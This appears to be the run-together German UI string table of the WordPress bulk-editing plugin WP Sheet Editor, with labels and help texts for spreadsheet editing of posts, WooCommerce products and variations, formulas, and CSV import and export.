                  Beispiel: Kopiere "Sonderpreis" in das Feld "Normaler Preis".Die Varianten in diese Produkte kopieren.Diesen Zugangslink kopieren und in Google Sheets einfügen. Link für den SchnellzugriffVarianten kopierenVarianten und Attribute dieses Produkts kopieren:Varianten dieses Produkts kopierenVarianten für variable Produkte erstellen und kopieren.Spalte erstellenNeue Elemente erstellen und bestehende Elemente aktualisierenDiese Anzahl von Varianten erstellenVarianten erstellenVarianten für jede Kombination von Attributen erstellen?Cross-SellingAktuelles Arbeitsblatt: %sBenutzerdefiniertes Arbeitsblatt für DatenbanktabellenBenutzerdefiniertes Attribut: %sBenutzerdefinierte SpaltenBenutzerdefinierte FormelBenutzerdefinierte BeitragstypenFunktionen anpassenDaten fehlen, versuch es später noch einmal.DatenquelleDatumDatumsbereich vonTageAlles deaktivieren. Nur die REST-API verwendenDaten-Prefetch deaktivierenAnführungszeichen dekodieren?Verringern umVerringern um AnzahlVerringern um ProzentsatzDen vorhandenen Wert um eine Zahl verringern.
                  Das Ergebnis wird auf 2 Dezimalstellen gerundet. D.h. aus 3,845602 wird 3,85Den vorhandenen Wert um einen Prozentsatz verringern.
                  Das Ergebnis wird auf 2 Dezimalstellen gerundet. D.h. 3,845602 wird zu 3,85Zieh eine Anzahl von Stunden, Tagen, Wochen, Monaten oder Jahren von den vorhandenen Daten ab.
                  Wenn das vorhandene Datum leer ist, verwenden wir das aktuelle Datum als Basis.Zeit von bestehenden Daten abziehenStandard-AttributStandard-AttributeLöschenAlles löschenVollständig löschenFeld löschenBeiträge schneller löschen: Anzahl der zu löschenden Beiträge je ZyklusZeile löschenBeim Löschen eines Beitrags die angehängten Bilder löschen?Lösch die neuesten Elemente und behalte das älteste ElementLösch die alten Elemente, und behalte das neueste ElementBenutzerkonten im gesamten Netzwerk löschen, wenn der Benutzer im Arbeitsblatt gelöscht wird?Demo-VideoBeschreibungAlles deaktivierenVerzögertes Laden der Zellen deaktivieren?Spalte deaktivieren. Du kannst sie später aktivieren.Erweiterungsangebote deaktivieren?Beitragsaktionen beim Speichern deaktivieren?Produktbestandsstatistiken deaktivieren?Unterstützung für serialisierte Spalten deaktivieren?Hinzufügen der Datei-ID zu den Bild-URLs deaktivieren?Automatische Formatierungserkennung deaktivieren?Automatisches Laden von Zeilen deaktivieren?Vollbildmodus deaktivieren?Die Heartbeat API für das Arbeitsblatt deaktivieren?Ersetzung von Zeilenumbrüchen durch p-Tags deaktivieren?Deaktiviere dies, wenn du ein Objekt-/Datenbank-Cache-Plugin verwendest. Wenn du viele Beiträge bearbeitest, deaktivieren wir dies standardmäßig, um das Speichern schneller zu machen. WordPress versucht, den Cache zu "bereinigen", auch wenn du kein Cache-Plugin verwendest, was Hunderte von unnötigen Datenbankabfragen zur Folge hat.Nutzungsstatistik-Widget deaktivieren?DeaktiviertRohwert auf ausgewählten Zellen anzeigen?Tabelleneditor im Frontend anzeigenDen Tabelleneditor im Frontend anzeigenVarianten anzeigenNicht zulassenDie Bilder der Varianten nicht kopieren?Möchtest du Spalten für neu gefundene Felder deaktivieren?Möchtest du Elemente aktualisieren oder erstellen?%d URL(s) herunterladen%d Namen herunterladenCSV-Datei herunterladenDownload URLDownload-AblaufdatumDateien herunterladenDateien herunterladen : URLsDateien herunterladen : NamenDownloadlimitDownload NameDownload-TypHerunterladbarDownloadsZieh die Spalten auf die linke oder rechte Seite, um sie zu aktivieren/deaktivieren, zieh sie nach oben oder unten, um sie zu sortieren, klick auf die Schaltfläche "Bearbeiten", um sie umzubenennen, klick auf die Schaltfläche "x", um sie vollständig zu löschen (nur wenn sie vorher deaktiviert wurden).Dropdown-Menü mit vordefinierten OptionenDuplizierenDuplizieren (Werkzeug)Von der Hauptsprache duplizierenMengen von Elementen duplizierenMengen von Elementen duplizieren.Zeile duplizierenDieses Element duplizieren:SPALTEN AKTIVIEREN. Diese Spalten erfordern ein Neuladen der Seite: {columns}. Möchtest du jetzt neu laden? Wir werden automatisch neu ladenENDS WITHEinfaches Arbeitsblatt für digitale DownloadsBearbeitenBearbeiten %s bearbeitenGutscheine in einem Arbeitsblatt bearbeiten.
                  Bearbeiten von Gutschein-Codes, Beträgen, Status, Einschränkungen und mehr. Erweiterte Suchvorgänge durchführen. Das Arbeitsblatt ist mit deiner Website synchronisiert, du musst nichts importieren/exportieren. Plugin herunterladenBenutzerdefinierte Felder im Arbeitsblatt bearbeitenBeiträge und Seiten in einem Arbeitsblatt bearbeitenBenutzerprofile im Arbeitsblatt bearbeiten - BasisBenutzerprofile im Arbeitsblatt bearbeiten - FULLWooCommerce-Produkte, WooCommerce-Varianten und Attribute bearbeiten.
                  Hunderte von Beiträgen auf einmal mit Formeln bearbeiten, Informationen zwischen Beiträgen kopieren,
                  Benutzerdefinierte Beitragstypen und benutzerdefinierte Felder bearbeiten, Benutzerprofile bearbeiten und mehrWordPress bearbeiten %sAlle Zeilen meiner aktuellen Suche bearbeiten (einschließlich der nicht sichtbaren Zeilen).Attribute bearbeitenKategorien, Tags, Attribute in einem Arbeitsblatt bearbeitenDateien bearbeitenIn Google Sheets bearbeitenIn einem Arbeitsblatt bearbeitenMeta-Schlüssel bearbeitenEinstellungen bearbeitenDie Zeilen bearbeiten, die ich manuell im Arbeitsblatt ausgewählt habe."%s" bearbeitenBeim Bearbeiten:Editoren können alle Beiträge und Seiten anzeigen und bearbeiten.ElementorE-MailAktivierenErweiterte Filter aktivierenAlles aktivierenAutomatisches Speichern aktivieren?Spalte aktivierenKommentare aktivierenNeues Arbeitsblatt aktivierenOption zur Einschränkung der Arbeitsblattansichten je Benutzer aktivieren?Seitennummerierung aktivierenBewertungen aktivierenEinfachen Modus aktivieren?REST-API aktivierenErweiterten Modus unten auf der Seite aktivieren, um die Spaltenbreite, das Format (Editor, Datei-Upload, Taxonomien) usw. anzupassen.Den Selektor für ausgefallene Taxonomiebegriffe aktivierenUTF8-Kodierungs-Bugfix aktivierenAktiviere diese Option, wenn du alle Daten der Variante mit Ausnahme des Variantenbildes kopieren möchtest.AktiviertDas Aktivieren dieser Spalte erfordert ein Neuladen der Seite%s eingebenGib IDs durch Kommata, Leerzeichen, neue Zeilen oder Tabulatoren getrennt ein. Du kannst ID-Bereiche wie 20-50 als Abkürzung verwenden.Gib ein Datumsformat ein. Liste der Formate. Beispiel: Y-m-dSchlüsselwort eingebenGib ein Schlüsselwort ein, um Beiträge auszuschließen, trenne mehrere Schlüsselwörter mit einem Semikolon (;)Namen eingeben...Gib eine Zahl ein, und diese Spalten werden beim horizontalen Scrollen eingefroren. Du kannst mit der rechten Maustaste auf eine beliebige Spalte klicken, um sie einzufrieren oder freizugeben. Gib zum Beispiel 2 ein, um die ersten beiden Spalten einzufrierenSuchbegriff eingeben...Titel eingebenGib ein Wort ein, und wir finden die erste passende Spalte. Du vermeidest es, durch Dutzende von Spalten zu blättern, um die Spalte zu finden, die du benötigst.Gib jede Auswahl in eine neue Zeile ein. Zur besseren Kontrolle kannst du sowohl einen Wert als auch eine Bezeichnung wie folgt angeben:
                  rot : RotElementname eingeben...Mehrere SKUs oder IDs eingeben, getrennt durch KommataMehrere URLs eingeben, getrennt durch KommataMehrere Attribute eingeben, getrennt durch |Gib mehrere durch Kommata getrennte Sprachcodes ein, und wir erstellen Kopien der Hauptsprache. Zum Beispiel: en, es. Bestehende Sprachen werden übersprungen.Mehrere Beitragstitel eingeben, getrennt durch KommataMehrere Begriffe eingeben, getrennt durch KommataEine URL je Zeile eingebenDie URL eingeben. Es kann eine URL von Ihrer eigenen Website (Beispiel http://site.com/wp-content/uploads/2016/01/file.jpg) oder eine externe URL sein.Die URL eingeben. Es muss eine URL von Ihrer eigenen Website sein. Beispiel: http://site.com/wp-content/uploads/2016/01/file.jpgDie URLs eingeben, getrennt durch Kommata. Sie können von deiner eigenen Website stammen.Die URLs eingeben, getrennt durch Kommata. Sie müssen von deiner eigenen Website stammen.Gib den Spaltennamen ein (alles, was du willst), und wähle den Feldschlüssel aus der Dropdown-Liste aus. Wenn du ihn nicht findest, kannst du ihn in der Dropdown-Liste eingeben. Tutorial anzeigenDie vollständige Hierarchie eingeben, wie Eltern > KindGib die Liste der Feldschlüssel durch Kommata getrennt ein, du kannst den vollständigen Metafeldschlüssel oder Teile von Schlüsselwörtern oder Präfixe eingeben. Dies ist nützlich, weil einige Plugins der Datenbank Tausende von unnötigen Feldern hinzufügen und das Arbeitsblatt überladenDie Namen eingeben von Die neuen Begriffe eingeben, getrennt durch %s. Du kannst eine Hierarchie wie Eltern > Kind > Kind hinzufügenDie Zahl eingeben.Die Prozentzahl eingeben.Den Wert eingeben, der an den vorhandenen Wert angehängt werden soll.Den Wert eingeben, der dem vorhandenen Wert vorangestellt werden soll.Fehler 8391. Du hast nicht genügend Berechtigungen, um diese Seite anzuzeigen.Fehler an Zeilen-ID: %d - %sFehler. Die Mathematik-Engine konnte die mathematische Operation nicht ausführen: %s, ID: %dFehler: %sFehler: Der neue Wert ist leer oder gleich dem alten WertUsw.Arbeitsblatt für EreignisseAlles ist bereits gespeichert.Alles, was du für alle Beiträge, Typen und Produkte benötigstAlles, was du für Benutzer und Kunden benötigstBeispiel 1: $current_value$ + 2 * 5.
                  Beispiel 2: $_regular_price$ * 0,7 (Regulärer Preis - 30%)Beispiel: AuszugAusführenJetzt ausführenFormel bei zukünftigen Beiträgen automatisch ausführen (nur für fortgeschrittene Benutzer)Nur bei zukünftigen Beiträgen ausführenVerlassenVollbildmodus verlassenExportierenSpalte exportierenZeilen schneller exportieren: Anzahl der zu exportierenden Zeilen je VerarbeitungszyklusAls CSV exportierenArbeitsblatt erweiternErweiterungenFTP-Bilder: Bilder mit demselben Dateinamen überspringen?BeitragsbildBeitragsbildFeldFeld 2: CSV-FeldFeld 2: WordPress-FeldZu aktualisierendes Feld:Datei (URL oder Pfad)Datei IDDatei-URLDatei-URLsDatei konnte nicht hochgeladen werden. Bitte starte den Vorgang erneut.Datei-UploadDatei-Upload (mehrere)Datei-Upload (einzeln)Die Datei wurde erfolgreich hochgeladen, aber es handelt sich nicht um eine gültige CSV-Datei oder sie verwendet die falsche Kodierung. Wenn du die Datei in Excel bearbeitet hast, vergewissere dich, dass sie als UTF-8 gespeichert wurde, und bedenke, dass beim Einfügen von Kopien von externen Stellen manchmal ungültige Zeichen hinzugefügt werden. Stell also sicher, dass du nur die Werte und nicht die Formatierung einfügst, um das Einfügen ungültiger Zeichen zu vermeiden.Dateien gespeichert.Element-Liste filternLetzter SchrittDiese IDs finden:Diese URLs finden:Mehr als 13 Fehler behobenWenn du zum Beispiel mit dem Suchwerkzeug nach Beiträgen mit "Autor = Mark" gesucht hast, exportieren wir nur Beiträge mit "Autor Mark"Wenn du zum Beispiel mit dem Suchwerkzeug nach Beiträgen von Autor = Mark gesucht hast, werden wir nur Beiträge mit Autor Mark aktualisierenWenn du zum Beispiel den Beitragstyp "Produkt" auswählst, akzeptieren wir nur Produkttitel.Wenn du zum Beispiel einen Beitrag vollständig löschst (nicht in den Papierkorb verschiebst), löschst du das Beitragsbild und die Galeriebilder aus der Medienbibliothek. SORGFALT: Wenn du dieselben Bilder in mehreren Beiträgen verwendest, werden die Bilder in anderen Beiträgen zerstörtModus für formatierte Zellen: Rendern als: (Nur verwenden, wenn der Zelltyp leer ist)Formelparameter:Formel-Typ:FormelnDie ersten Spalten auf der linken Seite einfrieren?Frontend-BlattFrontend-ArbeitsblätterVollständige URLKompletter InhaltVollbildmodus ist aktivGalerieAllgemeine EinstellungenAuszug erzeugenGenerierte Formel:Erhalte sofortige Hilfe im Live-Chat + E-Mail-Support während der GeschäftszeitenErhalte die untenstehenden %d Erweiterungen für nur $ %s $ %sHol dir PremiumZurückZur SeiteNach obenGoogle SheetsLeitfäden und TutorialsHöheHilfeHier ist ein Muster-CSV, das alle Arten von Produkten enthält.Hier kannst du die Größe eines Verarbeitungszyklus für die Exporte steuern. Wenn du eine hohe Anzahl verwendest, werden die Exporte schneller abgeschlossen. Du kannst eine hohe Anzahl sicher verwenden, weil wir automatisch auf eine niedrigere Anzahl zurückgreifen, wenn der Server während eines Exports überlastet ist. Exportiere zum Beispiel 100 Zeilen je Zyklus und schließ die Exporte superschnell ab, und wenn wir bei einem Export eine Langsamkeit feststellen, starten wir den Export automatisch mit 10 Zeilen je Zyklus neuHier kannst du alle für die laufende Ausführung gespeicherten Formeln anzeigen. Diese Formeln werden bei Beiträgen ausgeführt, die den Filtern entsprechen, wenn sie im Arbeitsblatt erstellt oder aktualisiert werden.Spalten ausblenden / anzeigen / sortierenAdmin-Leiste im Frontend ausblendenSpalte ausblendenStundenWie finden wir bestehende Artikel zur Aktualisierung?Wie möchtest du diese Dateien speichern?Wie möchtest du diese Beiträge speichern?Wie wird die Datei in der Datenbank gespeichert?Wie wird der Beitrag in der Datenbank gespeichert?Wie wird der Benutzer in der Datenbank gespeichert?Wie lange willst du zwischen den Verarbeitungszyklen warten? (in Sekunden)Wie viele Exemplare möchtest du?Ich möchte nicht alle Varianten kopierenIch habe eine Datenbanksicherung, jetzt ausführenIch weiß, dass alle Zeilen aus meiner aktuellen Suche exportiert werden.Ich weiß, dass die Produkte aus meiner Suche aktualisiert werden.Ich weiß, bitte fortfahrenIch möchte Zeilen durchsuchen, um alle Suchergebnisse zu aktualisieren und zu bearbeitenIDWenn die Spalte einen sehr langen Text hat, entfernen wir das HTML und kürzen es auf eine Anzahl von Wörtern.Wenn du diese Option aktivierst, werden alle Arbeitsblätter und Einstellungsseiten deaktiviert, und das gesamte Plugin wird für den Benutzer unsichtbar. Nur die REST-API bleibt aktiv. Dies ist nützlich für fortgeschrittene Szenarien, wenn du nur unsere REST-API verwendest, um Websites mit externen Tabellen oder Systemen synchronisiert zu halten. Wenn diese Option aktiv ist, wird unsere Einstellungsseite unter das allgemeine Einstellungsmenü verschoben, weil unser Tabelleneditor-Menü entfernt wirdWenn du diese Option deaktivierst, wird diese Spalte nur manuell bearbeitet.Wenn du diese Option aktivierst, werden einige Spalten als Text angezeigt. Normalerweise erkennen wir Datumsfelder, Bildfelder.Wenn du diese Option aktivierst, wird das Nutzungsstatistik-Widget, das im WP-Admin-Dashboard angezeigt wird, entfernt.Wenn du diese Option aktivierst, fügen wir den Benutzerprofilen Felder hinzu, in denen du angeben kannst, welche Ansichten des Arbeitsblattes sie verwenden können; ist diese Option deaktiviert, können sie alle Arbeitsblattansichten verwenden.Wenn du diese Option aktivierst, vereinfachen wir die Arbeitsblattoptionen und entfernen erweiterte Beispiele, Tipps und Optionen, die im Suchtool, Massenbearbeitungstool, Importtool, Exporttool und an anderen Stellen selten verwendet werden.Wenn du diese Option markierst, prüfen wir beim Anlegen oder Aktualisieren eines Beitrags im Arbeitsblatt, ob der Beitrag mit den Formelparametern übereinstimmt, und führen die Formel automatisch für diesen Beitrag aus. Zum Beispiel: Wenn du ein Produkt mit der Kategorie Äpfel erstellst, können wir die Beschreibung automatisch einstellen, oder wenn du die SKU änderst, können wir die URLs der herunterladbaren Dateien automatisch aktualisieren.Wenn du einen Import stoppst, um deine CSV-Datei zu bearbeiten oder die Importgeschwindigkeit zu ändern, kannst du einen neuen Import starten und an der Stelle fortfahren, an der du aufgehört hast.Diese Spalte ignorierenStell dir vor, du könntest all diese Änderungen an Hunderten oder Tausenden von Beiträgen in nur wenigen Minuten auf einmal vornehmen. Die Formelfunktion ist als Premium-Erweiterung verfügbar.ImportierenAlle Zeilen als neu importierenAlle Spalten importierenAls Metadaten importierenCSV importierenWichtig: Wir haben nur eine Spalte in der CSV-Datei erkannt. Wenn dies falsch ist, führe die folgenden Schritte aus, um den Fehler zu behebenImportiere7 Funktionen wurden verbessertVerbessertes Arbeitsblatt: Einstellungen wurden in eine Dropdown-Liste verschoben, um die Benutzeroberfläche zu vereinfachen, und neue Kontextmenü-Optionen wurden hinzugefügtVerbesserte Werkzeuge: Sichtbarkeit der Spalten. Jetzt kannst du überflüssige Spalten löschen, und die Sortier- und Deaktivierungslogik wurde verbessertVerbesserte Werkzeuge: Formel-Engine. Jetzt kannst du erweiterte Suchen durchführen und Formeln auf die Suchergebnisse anwenden. Nur zahlende Benutzer. Upgrade)In Google Sheets > obere Werkzeugleiste. Öffne die Option "WordPress".Auf dieser Seite kannst du den Tabelleneditor schnell einrichten. Dies ist alles, was du zur Benutzung des Editors benötigst. Die Einstellungen auf den anderen Registerkarten sind vollkommen optional und erlauben es dir unter anderem, die Leistung des Editors zu optimieren.Produktivität steigernErhöhen umErhöhen um ZahlErhöhen um ProzentzahlPreise für Produkte erhöhen oder verringernProduktbestand erhöhen oder verringernZeilen je Seite erhöhenDen vorhandenen Wert um eine Zahl erhöhen.
                  Das Ergebnis wird auf 2 Dezimalstellen gerundet. D.h. aus 3,845602 wird 3,85Den vorhandenen Wert um einen Prozentsatz erhöhen.
                  Das Ergebnis wird auf 2 Dezimalstellen gerundet. D.h. aus 3,845602 wird 3,85Anfängliches Zeilen-OffsetIn Element einfügenKostenlos installierenDie Chrome-Erweiterung "WP Sheet Editor" installieren. InstallierenFehler #898AJSI. Die Ersetzung erfordert 2 Parameter, wir haben einen erhaltenFehler #8W23CV. Wir akzeptieren nur mathematische und Ersetzungs-Formeln, wir haben einen unbekannten Formeltyp erhalten.Fehler #8W89PQ. Die mathematische Formel ist leer.Fehler #PQ8SPQ. Die mathematische Formel enthält ein Komma: %sUngültige Zeiteinheit.Ist herunterladbarVirtuellSichtbar?Ein globales Attribut?Empfohlen?Schreibgeschützt?Sichtbar?Suche in Titel und Inhalt des Beitrags.
                  Suche nach mehreren Schlüsselwörtern; Schlüsselwörter durch ein Semikolon (;) trennenIm Arbeitsblatt geladene ElementeJWT ist nicht richtig konfiguriert, bitte kontaktiere den AdministratorEinfach Änderungen speichernSchlüsselBezeichnungLängeLinkfarbeLiveLadenWeitere Zeilen ladenWeitere Elemente beim Scrollen laden?Mehr beim Scrollen ladenZeilen schneller laden: Anzahl der je Verarbeitungszyklus zu ladenden ZeilenZelle suchenZelle suchen.Spalte suchenLogin-MeldungLogoHauptfarbeNeue Suche startenLagerbestand verwaltenTaxonomie-Spaltenwerte als Begriffs-IDs verwalten?Mathematische FormelnMathematische FormelMathematische Formel Dezimalstellen aufrundenMathematische OperationMaximale Anzahl von Varianten je Kombination von AttributenMaximale WortanzahlArbeitsblatt für die MedienbibliothekMenüMetaschlüssel, die den Handler für unbegrenzte serialisierte Felder verwenden sollenMeta: %sMicrosoft Excel (Office 365)VerschiedenesFehlende SpaltenFehlende Zahl und Zeiteinheit.Fehlende Parameter.Fehlender Beitragstyp oder column_keyFehlender Beitragstyp, old_column_key oder new_column_key; oder der alte und der neue Schlüssel sind gleich.Fehlendes Pflichtfeld "Daten".Pflichtfeld fehlt. Bitte starte den Prozess erneut.Datum geändertBeiträge geändertMonateMehr OptionenStatus aller Ihrer Entwürfe in veröffentlichte Beiträge oder einen anderen Status ändernHunderte von Beiträgen in den Papierkorb verschiebenMusikMeine LizenzNOT CONTAINSNOT Contains this keywordNameName dieses Exports (optional)Brauchst du Hilfe?Brauchst du Hilfe? Sieh in unsere TutorialsBrauchst du Hilfe? Kontaktiere unsNeues ArbeitsblattNeue Erweiterung - EVENTS - Anzeigen/Bearbeiten von Ereignissen, Veranstaltungen und Organisatoren in einem Arbeitsblatt. Erweiterte Suche, usw. Erweiterung anzeigen)Neue Erweiterung - WooCommerce Gutscheine - Gutscheine in einem Arbeitsblatt anzeigen/bearbeiten. Erweiterte Suche, Massenbearbeitung von Hunderten von Gutscheinen usw. Perfekt für die Weihnachtszeit. Erweiterung anzeigen)Neue Funktion - Unterstützung für Advanced Custom Fields > Beziehungsfelder hinzugefügt. Nur zahlende Benutzer. Upgrade)Neue Zeilen hinzugefügtNeuer WertNächsterNeinKeine Elemente gefunden.Keine Beiträge mehr verfügbar.Keine Optionen verfügbarKeine Beiträge für die aktuelle Seite verfügbar.Es wurden keine Beiträge gefunden, die deinen Suchparametern entsprechen. Du kannst die aktiven Filter entfernen oder eine andere Suche ausprobieren.Keine Taxonomien gefunden.Normale ZelleNicht erlaubt.Nicht erlaubt. Bitte starte den Prozess erneut.Nicht gefundenNicht im Papierkorb gefundenAchtung: Wenn du gespeicherte Formeln ändern möchtest, musst du die Formel löschen und im Formel-Editor neu anlegen.Achtung: Mehr als 75 Kopien auf einmal können den Server überlasten. Tu dies in kleinen Zyklen.
                  Du kannst fortfahren, wenn du glaubst, dass dein Server damit umgehen kann.Bitte beachten: Dies ist keine Sicherheitsfunktion, der Benutzer kann alle Felder im normalen Editor auf der Grundlage der jeweiligen Rolle bearbeiten. Diese Option dient der Bequemlichkeit, so dass man beim Öffnen des Tabelleneditors nur die Spalten sieht, die man benötigt. Wenn du diese Felder leer lässt, kann man zwischen allen vorhandenen Ansichten wechselnAchtung: Dies funktioniert nur in Google Chrome.Note: Separate values with the character %s
                  The product must be variable and have existing variations for this to work, otherwise the default attributes won't be saved.Hinweis: Trenne Werte mit dem Zeichen %s
                  Wir empfehlen die Verwendung von Globalen Attributen, wenn du diese in vielen Produkten verwendest.Globales Attribut erstellen
                  Globale Attribute haben ihre eigenen Spalten im Arbeitsblatt. Du kannst sie in den Spalten (schneller) oder mit Hilfe dieses Popup-Fensters bearbeiten.
                  Wenn du die Attribute von Varianten bearbeitest, muss die Variante aktiviert sein, sonst werden die Attribute nicht gespeichert.ZahlOKBei welchen Beitragsarten möchtest du den Editor aktivieren?Eine Zeile für Varianten hat ein übergeordnetes Produkt, das nicht existiert. Die Spalte "übergeordnetes Produkt" enthält die %s: %s. Bitte korrigiere sie und starte einen neuen ImportNur neue Elemente erstellen, vorhandene Elemente ignorierenNur für fortgeschrittene Benutzer. Weiterlesen.Hoppla, nichts gefundenGoogle Sheets öffnen. Hier klickenEinstellungs-Seite öffnenIn einem Arbeitsblatt öffnenDen Tabelleneditor öffnenOperatorBestellungAndereAndere ErweiterungenAndere Versionen von Microsoft ExcelÜbergeordnete SeiteSeitenParameter:ÜbergeordnetÜbergeordnetes Arbeitsblatt:PasswortEinfügen über die Tastatur: Strg+VPauseEinfacher Textmodus: Rendern als: (Nur verwenden, wenn der Zelltyp leer ist)Bitte überprüfe, ob du ungespeicherte Änderungen hast. Wenn ja, speichere sie bitte, sonst werden sie verworfen.Bitte korrigiere den Fehler und speichere erneut.Bitte korrigiere den Fehler in der Datei, und starte einen neuen Import. Du kannst die "Erweiterten Optionen" im Schritt 1 des Imports verwenden, um von dieser speziellen Zeile aus zu beginnen.Bitte gib die Namen der Arbeitsblattansichten durch Kommata getrennt ein.Bitte führe eine Suche durch, um die Zeilen zu laden und mit der Bearbeitung zu beginnen (benutze die Option "Suche" in der oberen Werkzeugleiste).Bitte wähle ein Produkt aus.Bitte wähle ein Quellprodukt aus.Bitte wähle mindestens eine Spalte zum Importieren ausBitte wähle den Beitragstyp aus, und speichere die Änderungen. Nachdem du die Änderungen gespeichert hast, kannst du die restlichen Einstellungen und Anweisungen sehen.Bitte aktualisiere das WP Sheet Editor Plugin und alle seine Erweiterungen auf die neueste Version. Die Eigenschaften des Plugins "Beitrags-DropdownBeitrags-IDBeitragstypArbeitsblätterArbeitsblattBeitragstypenBeitragsdatenBeitrags-Meta (d.h. Metaboxen)Beitrags-Begriffe (d.h. Kategorien)BeitragstypBeitragstyp gelöschtBeitragstyp(en)BeiträgeVoranstellenVorschau des Frontend-EditorsVorherigeHauptmenüProWird verarbeitet...Verarbeitung: %d von %d Zeilen wurden exportiert.ProduktattributeNicht für Varianten verwendete ProduktattributeNicht sichtbare ProduktattributeProduktgalerieWerbung: %d%% RABATT nur heute. Hinweis zum KaufSchnelle AntwortenSchnellsucheSchnelle EinstellungenREGEXPZellen neu ausrichtenRegulärer PreisRegulärer PreisAlle Filter entfernenSpalte vollständig entfernen. Wenn du sie später verwenden möchtest, kannst du sie deaktivieren, indem du sie in die rechte Spalte ziehst und dort ablegstDuplikate entfernenSKU-Duplikate entfernen (neuesten Artikel löschen)SKU-Duplikate entfernen (ältesten Artikel löschen)Titel-Duplikate entfernen (neuesten Artikel löschen)Titel-Duplikate entfernen (ältesten Artikel löschen)Beitragsbild entfernenHilfemeldungen aus den Zellen entfernen?Entferne den vorhandenen Wert und lass das Feld leer. WeiterlesenSpalte umbenennenErsetzenEine Mediendatei durch eine andere Datei ersetzenErsetze ein Wort, einen Ausdruck oder eine Zahl durch einen neuen Wert. WeiterlesenErsetze den vorhandenen Wert durch diesen Wert. WeiterlesenAlte Shortcodes in allen Ihren Beiträgen durch neue Shortcodes ersetzenErsetze einige Begriffe durch neue Begriffe. WeiterlesenDiese Dateien ersetzenDies ersetzenDiese Datei ersetzenWörter oder Ausdrücke im Titel, Inhalt oder anderen Feldern Ihrer Beiträge ersetzenAnfrage nicht erlaubt. Versuch es später noch einmal.Einstellungen zurücksetzenSpaltengröße ändern basierend auf den WertenGelöschte Spalten wiederherstellenAnzahl der BewertungenZeilen-ID: %d, Beitragsart: %s ist in WordPress nicht vorhanden. Stell sicher, dass dein CSV den richtigen Namen in der Spalte für den Beitragstyp verwendet.Zeilen-ID: %d. Du versuchst, einen leeren Beitragstyp zu speichern. Stell sicher, dass dein CSV den richtigen Namen in der Spalte für den Beitragstyp verwendet.Zeilen erfolgreich gelöschtSuche ausführenSEOSEO Canonical URLSEO BeschreibungSEO FB BeschreibungSEO FB BildSEO FB TitelSEO SchlüsselwortSEO Kein IndexSEO Primär %sSEO TW BeschreibungSEO TW BildSEO TW TitelSEO TitelSKUSTARTS WITHSonderpreisAngebots-EnddatumSonderpreisZeitraum SonderpreisAngebots-StartdatumSonderpreis-Datum vonSonderpreis-Datum bisIdentisch mit dem Beitragstyp im ArbeitsblattSpeichernSpeichern und fortsetzenÄnderungen speichernÄnderungen speichern und zum nächsten Beitrags-Editor gehenÄnderungen speichern und zum vorherigen Beitrags-Editor gehenÄnderungen schneller speichern: Anzahl der zu speichernden Zeilen je VerarbeitungszyklusAls serialisiertes Array speichernDiese Einstellungen für zukünftige Sitzungen speichern?Diese Suche speichernDurch Komma getrennt speichernGespeichert: %sÄnderungen werden gespeichert, diese Seite nicht schließen.DB durchsuchen, um Felder zu findenJetzt scannenSucheArbeitsblatt durchsuchenNach Varianten suchen?Sicherheit und Benutzerrollen (optional)Aktive Spalten auswählenAlles auswählenAlle Produkte aus einer Suche auswählenSpalte auswählen...Zu importierende Spalten auswählenEinzelne Spalten zum Importieren auswählenEinzelne Produkte auswählenProdukt auswählen...Wähle das Format der Zellen, ob die Zellen normaler Text, ein Datei-Uploader oder ein Texteditor sein sollen.Wähle die Informationen aus, die du mit dem Tabelleneditor bearbeiten möchtest.Wähle die Art von Informationen aus, die in den Zellen dieser Spalte verwendet wird.Wähle die Zeilen aus, die du aktualisieren möchtest.Art der Bearbeitung auswählenAuswählen...TrennzeichenTrennzeichen für Zellen mit Taxonomie-BegriffenBeitragsbild festlegenHunderte von Produkten auf einmal als vergriffen oder auf Lager kennzeichnenDasselbe Bild für alle Beiträge einer Kategorie festlegenArbeitsblatt einrichtenWert festlegenEinstellungenEinrichtungsseite im FrontendArbeitsblatt einrichtenBlatt-EditorVersandklasseKurzbeschreibungErweiterte Optionen anzeigenErweiterte Optionen anzeigen Alle benutzerdefinierten Beitragsstatus anzeigen?Zellen als einfachen Text anzeigenSpaltenschlüssel anzeigenElemente anzeigen, die zwischen diesen Daten veröffentlicht wurdenZeilen aus Ihrer letzten Sitzung werden angezeigt.Einfacher TextZerstörte Bilder überspringen?SlugEinzeln verkauftLösung für seltsame FehlerEinige Änderungen sind noch nicht gespeichert.Einige Plugins führen einen Auftrag aus, nachdem ein Beitrag erstellt oder aktualisiert wurde. Zum Beispiel gibt es Plugins, die deine neuen Beiträge in deinen sozialen Profilen teilen, andere Plugins benachrichtigen Benutzer, nachdem ein Beitrag aktualisiert wurde, usw. Es könnte ein Problem mit diesen Plugins geben. Wenn du zum Beispiel ein Plugin verwendest, das deine neuen Beiträge auf deinem Twitter-Konto teilt, und 100 Beiträge im Tabelleneditor aktualisiert werden, könntest du am Ende 100 Tweets in deinem Twitter-Konto teilen. Aktiviere also diese Option, wenn du Beiträge im Stillen aktualisieren / erstellen möchtest, ohne diese Funktionen auszuführen.Einige Zeilen wurden im Hintergrund modifiziert. Bitte speichere die Änderungen und lade das Arbeitsblatt neu, um die Änderungen zu sehenEinige Zeilen wurden im Arbeitsblatt geändert. Bitte speichere die Änderungen, bevor du diese Funktion verwendest.Alphabetisch sortieren ASCAlphabetisch sortieren DESCQuelleGeschwindigkeit und LeistungArbeitsblatt-ArchivArbeitsblatt-AttributeArbeitsblatt für %s %sArbeitsblattansichtenArbeitsblätter-ListeNavigation in der Arbeitsblätter-ListeStandardproduktBeginne bei Zeilennummer:Neuen Export startenStatusLagerLagerstatusAbonnenten dürfen den Editor nicht verwenden.Devalidierung von Cache-Objekten unterbrechen?TagsTags (kommagetrennt)Zielprodukte nicht gefunden.Taxonomie-Spalten wie Kategorien oder Tags von Beiträgen usw. zeigen durch Komma getrennte Begriffe; wenn du in deinen Begriffsnamen Kommata benutzt, verwende diese Option, um das Trennzeichen zu ändernTaxonomie-DropdownTaxonomie-Dropdown. Nur wenn Datenquelle = Beitragsbegriffe.Vorlagenelement nicht gefunden, oder es darf nicht vervielfältigt werden.BegriffeTextTexteditor (TinyMCE)Vielen Dank für die Aktualisierung auf die neue Version des Plugins.Vielen Dank, dass du unseren Tabelleneditor verwendestDas Werkzeug "Varianten erstellen" ermöglicht es dir, Varianten auf der Grundlage der Kombination von Attributen zu erstellen. Die Standardgrenze liegt bei 200 Varianten, um deinen Server nicht zu überlasten. Du kannst das Limit hier erhöhen, wenn du mehr Varianten benötigst.Die Funktion "Massenaktualisierung" ermöglicht es dir, mehrere Beiträge auf einmal zu aktualisieren,
